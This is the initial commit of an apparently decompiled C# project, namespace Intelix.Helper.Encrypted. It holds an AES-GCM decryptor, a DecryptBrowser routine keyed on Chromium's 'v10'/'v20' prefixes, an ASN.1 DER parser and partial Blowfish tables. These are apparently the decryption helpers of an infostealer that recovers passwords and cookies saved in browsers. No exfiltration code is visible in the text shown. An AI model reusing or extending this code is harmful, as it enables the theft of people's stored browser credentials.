initial commit

This commit is contained in:
i2p
2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+99
View File
@@ -0,0 +1,99 @@
using System;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class AesGcm
{
private const int MacBitSize = 128;
private const int NonceBitSize = 96;
private const int TagBytes = 16;
private const int NonceBytes = 12;
private const int HeaderBytes = 3;
public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix)
{
if (encryptedData.Length < 31)
{
return null;
}
string text = Encoding.ASCII.GetString(encryptedData, 0, 3);
byte[] array = new byte[12];
Buffer.BlockCopy(encryptedData, 3, array, 0, 12);
int num = 15;
int num2 = encryptedData.Length - num - 16;
if (num2 < 0)
{
return null;
}
byte[] array2 = new byte[num2];
if (num2 > 0)
{
Buffer.BlockCopy(encryptedData, num, array2, 0, num2);
}
byte[] array3 = new byte[16];
Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16);
byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null));
if (array4 == null)
{
return null;
}
byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3);
if (array5 == null)
{
return null;
}
if (checkprefix && HasPrefix(array5))
{
if (array5.Length <= 32)
{
return array5;
}
int num3 = 0;
for (int i = 0; i < 32; i++)
{
byte b = array5[i];
if (b >= 32 && b <= 126)
{
num3++;
}
if (num3 > 2)
{
break;
}
}
if (num3 > 2)
{
if (array5.Length <= 32)
{
return new byte[0];
}
byte[] array6 = new byte[array5.Length - 32];
Array.Copy(array5, 32, array6, 0, array6.Length);
return array6;
}
}
return array5;
}
private static bool HasPrefix(byte[] plainText)
{
if (plainText.Length < 32)
{
return false;
}
int num = 0;
for (int i = 0; i < 32; i++)
{
if (plainText[i] >= 32 && plainText[i] <= 126)
{
num++;
}
}
return num > 2;
}
}
+383
View File
@@ -0,0 +1,383 @@
using System;
namespace Intelix.Helper.Encrypted;
public class AesGcm256
{
private static readonly byte[] SBox = new byte[256]
{
99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
45, 15, 176, 84, 187, 22
};
private static readonly byte[] Rcon = new byte[256]
{
0, 1, 2, 4, 8, 16, 32, 64, 128, 27,
54, 108, 216, 171, 77, 154, 47, 94, 188, 99,
198, 151, 53, 106, 212, 179, 125, 250, 239, 197,
145, 57, 114, 228, 211, 189, 97, 194, 159, 37,
74, 148, 51, 102, 204, 131, 29, 58, 116, 232,
203, 141, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0
};
private byte[] Key;
private byte[,] RoundKeys;
public AesGcm256(byte[] key)
{
if (key.Length != 32)
{
throw new ArgumentException("Key length must be 256 bits.");
}
Key = new byte[32];
Array.Copy(key, Key, 32);
KeyExpansion();
}
public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
{
return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad);
}
private void KeyExpansion()
{
int num = 8;
int num2 = 4;
int num3 = 14;
RoundKeys = new byte[num2 * (num3 + 1), 4];
for (int i = 0; i < num; i++)
{
RoundKeys[i, 0] = Key[4 * i];
RoundKeys[i, 1] = Key[4 * i + 1];
RoundKeys[i, 2] = Key[4 * i + 2];
RoundKeys[i, 3] = Key[4 * i + 3];
}
byte[] array = new byte[4];
for (int j = num; j < num2 * (num3 + 1); j++)
{
array[0] = RoundKeys[j - 1, 0];
array[1] = RoundKeys[j - 1, 1];
array[2] = RoundKeys[j - 1, 2];
array[3] = RoundKeys[j - 1, 3];
if (j % num == 0)
{
byte b = array[0];
array[0] = array[1];
array[1] = array[2];
array[2] = array[3];
array[3] = b;
array[0] = SBox[array[0]];
array[1] = SBox[array[1]];
array[2] = SBox[array[2]];
array[3] = SBox[array[3]];
array[0] ^= Rcon[j / num];
}
else if (num > 6 && j % num == 4)
{
array[0] = SBox[array[0]];
array[1] = SBox[array[1]];
array[2] = SBox[array[2]];
array[3] = SBox[array[3]];
}
RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]);
RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]);
RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]);
RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]);
}
}
private void AddRoundKey(byte[,] state, int round)
{
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
state[j, i] ^= RoundKeys[round * 4 + i, j];
}
}
}
private void SubBytes(byte[,] state)
{
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
state[i, j] = SBox[state[i, j]];
}
}
}
private void ShiftRows(byte[,] state)
{
byte b = state[1, 0];
state[1, 0] = state[1, 1];
state[1, 1] = state[1, 2];
state[1, 2] = state[1, 3];
state[1, 3] = b;
b = state[2, 0];
state[2, 0] = state[2, 2];
state[2, 2] = b;
b = state[2, 1];
state[2, 1] = state[2, 3];
state[2, 3] = b;
b = state[3, 3];
state[3, 3] = state[3, 2];
state[3, 2] = state[3, 1];
state[3, 1] = state[3, 0];
state[3, 0] = b;
}
private void MixColumns(byte[,] state)
{
byte[] array = new byte[4];
for (int i = 0; i < 4; i++)
{
array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]);
array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]);
array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i]));
array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i]));
state[0, i] = array[0];
state[1, i] = array[1];
state[2, i] = array[2];
state[3, i] = array[3];
}
}
private byte GFMultiply(byte a, byte b)
{
byte b2 = 0;
for (int i = 0; i < 8; i++)
{
if ((b & 1) != 0)
{
b2 ^= a;
}
bool num = (a & 0x80) != 0;
a <<= 1;
if (num)
{
a ^= 0x1B;
}
b >>= 1;
}
return b2;
}
private void EncryptBlock(byte[] input, byte[] output)
{
int num = 4;
int num2 = 14;
byte[,] array = new byte[4, num];
for (int i = 0; i < 16; i++)
{
array[i % 4, i / 4] = input[i];
}
AddRoundKey(array, 0);
for (int j = 1; j <= num2 - 1; j++)
{
SubBytes(array);
ShiftRows(array);
MixColumns(array);
AddRoundKey(array, j);
}
SubBytes(array);
ShiftRows(array);
AddRoundKey(array, num2);
for (int k = 0; k < 16; k++)
{
output[k] = array[k % 4, k / 4];
}
}
private byte[] GF128Multiply(byte[] X, byte[] Y)
{
byte[] array = new byte[16];
byte[] array2 = new byte[16];
Array.Copy(Y, array2, 16);
for (int i = 0; i < 128; i++)
{
if (((X[i / 8] >> 7 - i % 8) & 1) == 1)
{
for (int j = 0; j < 16; j++)
{
array[j] ^= array2[j];
}
}
bool flag = (array2[15] & 1) == 1;
for (int num = 15; num >= 0; num--)
{
array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7));
}
if (flag)
{
array2[0] ^= 225;
}
}
return array;
}
private byte[] GHASH(byte[] H, byte[] A, byte[] C)
{
_ = (A.Length + 15) / 16;
_ = (C.Length + 15) / 16;
byte[] array = new byte[16];
byte[] array2 = new byte[16];
byte[] array3 = new byte[16];
int num;
for (int i = 0; i < A.Length; i += num)
{
Array.Clear(array3, 0, 16);
num = Math.Min(16, A.Length - i);
Array.Copy(A, i, array3, 0, num);
for (int j = 0; j < 16; j++)
{
array2[j] = (byte)(array[j] ^ array3[j]);
}
array = GF128Multiply(array2, H);
}
int num2;
for (int i = 0; i < C.Length; i += num2)
{
Array.Clear(array3, 0, 16);
num2 = Math.Min(16, C.Length - i);
Array.Copy(C, i, array3, 0, num2);
for (int k = 0; k < 16; k++)
{
array2[k] = (byte)(array[k] ^ array3[k]);
}
array = GF128Multiply(array2, H);
}
byte[] array4 = new byte[16];
ulong num3 = (ulong)A.Length * 8uL;
ulong num4 = (ulong)C.Length * 8uL;
for (int l = 0; l < 8; l++)
{
array4[7 - l] = (byte)(num3 >> l * 8);
array4[15 - l] = (byte)(num4 >> l * 8);
}
for (int m = 0; m < 16; m++)
{
array2[m] = (byte)(array[m] ^ array4[m]);
}
return GF128Multiply(array2, H);
}
private void IncrementCounter(byte[] counterBlock)
{
int num = 15;
while (num >= 12 && ++counterBlock[num] == 0)
{
num--;
}
}
public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad)
{
if (aad == null)
{
aad = new byte[0];
}
byte[] array = new byte[16];
EncryptBlock(new byte[16], array);
byte[] array2 = new byte[16];
if (iv.Length == 12)
{
Array.Copy(iv, 0, array2, 0, 12);
array2[15] = 1;
}
else
{
array2 = GHASH(array, null, iv);
}
byte[] array3 = new byte[ciphertext.Length];
byte[] array4 = new byte[16];
Array.Copy(array2, array4, 16);
int num = ciphertext.Length / 16;
int num2 = ciphertext.Length % 16;
int num3 = ((num2 == 0) ? num : (num + 1));
for (int i = 0; i < num3; i++)
{
IncrementCounter(array4);
byte[] array5 = new byte[16];
EncryptBlock(array4, array5);
int num4 = ((i < num) ? 16 : num2);
for (int j = 0; j < num4; j++)
{
array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]);
}
}
byte[] array6 = GHASH(array, aad, ciphertext);
byte[] array7 = new byte[16];
EncryptBlock(array2, array7);
byte[] array8 = new byte[16];
for (int k = 0; k < 16; k++)
{
array8[k] = (byte)(array7[k] ^ array6[k]);
}
if (!VerifyTag(tag, array8))
{
throw new Exception("Authentication tag does not match. Decryption failed.");
}
return array3;
}
private bool VerifyTag(byte[] tag1, byte[] tag2)
{
if (tag1.Length != tag2.Length)
{
return false;
}
int num = 0;
for (int i = 0; i < tag1.Length; i++)
{
num |= tag1[i] ^ tag2[i];
}
return num == 0;
}
}
+95
View File
@@ -0,0 +1,95 @@
using System;
namespace Intelix.Helper.Encrypted;
public class Asn1Der
{
public enum Type
{
Sequence = 48,
Integer = 2,
OctetString = 4,
ObjectIdentifier = 6
}
public Asn1DerObject Parse(byte[] toParse)
{
Asn1DerObject asn1DerObject = new Asn1DerObject();
for (int i = 0; i < toParse.Length; i++)
{
switch ((Type)toParse[i])
{
case Type.Sequence:
{
byte[] array;
if (asn1DerObject.Lenght == 0)
{
asn1DerObject.Type = Type.Sequence;
asn1DerObject.Lenght = toParse.Length - (i + 2);
array = new byte[asn1DerObject.Lenght];
}
else
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.Sequence,
Lenght = toParse[i + 1]
});
array = new byte[toParse[i + 1]];
}
int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
Array.Copy(toParse, i + 2, array, 0, length);
asn1DerObject.Objects.Add(Parse(array));
i = i + 1 + toParse[i + 1];
break;
}
case Type.Integer:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.Integer,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array3.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
break;
}
case Type.OctetString:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.OctetString,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array4.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
break;
}
case Type.ObjectIdentifier:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.ObjectIdentifier,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array2.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
break;
}
}
}
return asn1DerObject;
}
}
+71
View File
@@ -0,0 +1,71 @@
using System.Collections.Generic;
using System.Text;
namespace Intelix.Helper.Encrypted;
public class Asn1DerObject
{
public Asn1Der.Type Type { get; set; }
public int Lenght { get; set; }
public List<Asn1DerObject> Objects { get; }
public byte[] Data { get; set; }
public Asn1DerObject()
{
Objects = new List<Asn1DerObject>();
}
public override string ToString()
{
StringBuilder stringBuilder = new StringBuilder();
StringBuilder stringBuilder2 = new StringBuilder();
switch (Type)
{
case Asn1Der.Type.Sequence:
stringBuilder.AppendLine("SEQUENCE {");
break;
case Asn1Der.Type.Integer:
{
byte[] data = Data;
foreach (byte b3 in data)
{
stringBuilder2.AppendFormat("{0:X2}", b3);
}
stringBuilder.AppendLine("\tINTEGER " + stringBuilder2);
break;
}
case Asn1Der.Type.OctetString:
{
byte[] data = Data;
foreach (byte b2 in data)
{
stringBuilder2.AppendFormat("{0:X2}", b2);
}
stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2);
break;
}
case Asn1Der.Type.ObjectIdentifier:
{
byte[] data = Data;
foreach (byte b in data)
{
stringBuilder2.AppendFormat("{0:X2}", b);
}
stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2);
break;
}
}
foreach (Asn1DerObject @object in Objects)
{
stringBuilder.Append(@object);
}
if (Type.Equals(Asn1Der.Type.Sequence))
{
stringBuilder.AppendLine("}");
}
return stringBuilder.ToString();
}
}
+311
View File
@@ -0,0 +1,311 @@
using System;
namespace Intelix.Helper.Encrypted;
public class Blowfish
{
public enum Endian
{
Little,
Big
}
public readonly int MinUserKeyLength = 1;
public readonly int MaxUserKeyLength = 56;
public readonly int BlockSize = 8;
private readonly uint[] OriginPBox = new uint[18]
{
608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u,
3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u
};
private readonly uint[,] OriginSBox = new uint[4, 256]
{
{
3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u,
134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u,
2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u,
1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u,
1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u,
3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u,
1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u,
258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u,
1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u,
1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u,
1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u,
634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u,
1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u,
1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u,
1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u,
1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u,
1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u,
3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u,
2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u,
2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u,
3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u,
2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u,
2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u,
545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u,
3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u,
4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u
},
{
1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u,
1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u,
2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u,
1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u,
2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u,
2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u,
3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u,
1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u,
2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u,
3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u,
70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u,
2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u,
3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u,
3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u,
4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u,
53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u,
1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u,
2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u,
1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u,
4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u,
3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u,
4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u,
1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u,
1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u,
2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u,
1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u
},
{
3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u,
1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u,
3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u,
170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u,
2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u,
648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u,
1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u,
1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u,
133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u,
3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u,
2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u,
3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u,
3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u,
2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u,
1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u,
1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u,
2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u,
2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u,
1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u,
2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u,
3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u,
2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u,
4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u,
3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u,
3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u,
908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u
},
{
976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u,
3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u,
1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u,
1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u,
673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u,
2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u,
530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u,
4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u,
3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u,
55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u,
3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u,
1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u,
3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u,
2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u,
3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u,
